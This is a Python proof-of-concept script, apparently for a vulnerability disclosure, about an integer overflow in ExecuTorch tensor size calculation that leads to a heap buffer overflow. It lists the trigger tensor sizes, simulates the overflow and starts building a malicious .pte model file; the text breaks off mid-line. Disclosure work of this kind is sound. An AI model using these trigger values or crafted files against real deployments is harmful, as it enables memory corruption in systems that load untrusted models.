#!/usr/bin/env python3 """ PoC: ExecuTorch compute_numel() Integer Overflow → Heap Buffer Overflow CWE-190 (Integer Overflow) → CWE-122 (Heap Buffer Overflow) Target: pytorch/executorch File: runtime/core/portable_type/tensor_impl.cpp, line 41 runtime/core/portable_type/tensor_impl.cpp, line 69 VULNERABILITY: ssize_t compute_numel(const TensorImpl::SizesType* sizes, ssize_t dim) { ssize_t numel = 1; for (const auto i : c10::irange(dim)) { ET_CHECK_MSG(sizes[i] >= 0, ...); numel *= sizes[i]; // ← NO OVERFLOW CHECK (line 41) } return numel; } size_t TensorImpl::nbytes() const { return numel_ * elementSize(type_); // ← NO OVERFLOW CHECK (line 69) } SAFE VERSION EXISTS (not used in tensor construction): runtime/executor/method_meta.cpp:56-85 uses c10::mul_overflows() IMPACT: Malicious .pte model file with crafted tensor sizes causes compute_numel() to overflow, producing wrong numel. nbytes() returns small size, causing under-allocation. Subsequent tensor data access overflows the heap buffer. TRIGGER VALUES: 64-bit: sizes [2147483647, 2147483647, 4] → ssize_t overflow 32-bit: sizes [65536, 65536] → numel wraps to 0 → zero-byte alloc """ import struct import ctypes import sys import os INT32_MAX = (1 << 31) - 1 SSIZE64_MAX = (1 << 63) - 1 SIZE64_MAX = (1 << 64) - 1 def simulate_compute_numel_64bit(sizes): """Simulates compute_numel() on 64-bit target (ssize_t = int64_t)""" numel = ctypes.c_int64(1) for s in sizes: assert s >= 0, "Non-negative check passes" numel = ctypes.c_int64(numel.value * s) return numel.value def simulate_compute_numel_32bit(sizes): """Simulates compute_numel() on 32-bit target (ssize_t = int32_t)""" numel = ctypes.c_int32(1) for s in sizes: assert s >= 0, "Non-negative check passes" numel = ctypes.c_int32(numel.value * s) return numel.value def simulate_nbytes(numel_ssize, element_size): """Simulates TensorImpl::nbytes() = numel_ * elementSize(type_) numel_ is ssize_t, result is size_t (unsigned)""" return ctypes.c_uint64(numel_ssize * element_size).value def safe_calculate_nbytes(sizes, element_size): """Safe version from method_meta.cpp:56-85 using overflow detection""" n = 1 for i, s in enumerate(sizes): product = n * s if product > SIZE64_MAX: return None, f"Overflow at dimension {i}" n = product total = n * element_size if total > SIZE64_MAX: return None, "Overflow in element size multiplication" return total, "OK" def create_malicious_pte_binary(): """ Creates a minimal binary that demonstrates the .pte file structure containing overflow-triggering tensor sizes. A real .pte file uses FlatBuffers. This creates a structural demonstration showing where the malicious sizes would be embedded. """ # FlatBuffer binary layout for a minimal Program with one Tensor # The actual exploit requires a valid FlatBuffer; this shows the concept # Extended header: magic "eh00" + length + program_size + segment_base_offset eh_magic = b'eh00' eh_length = struct.pack('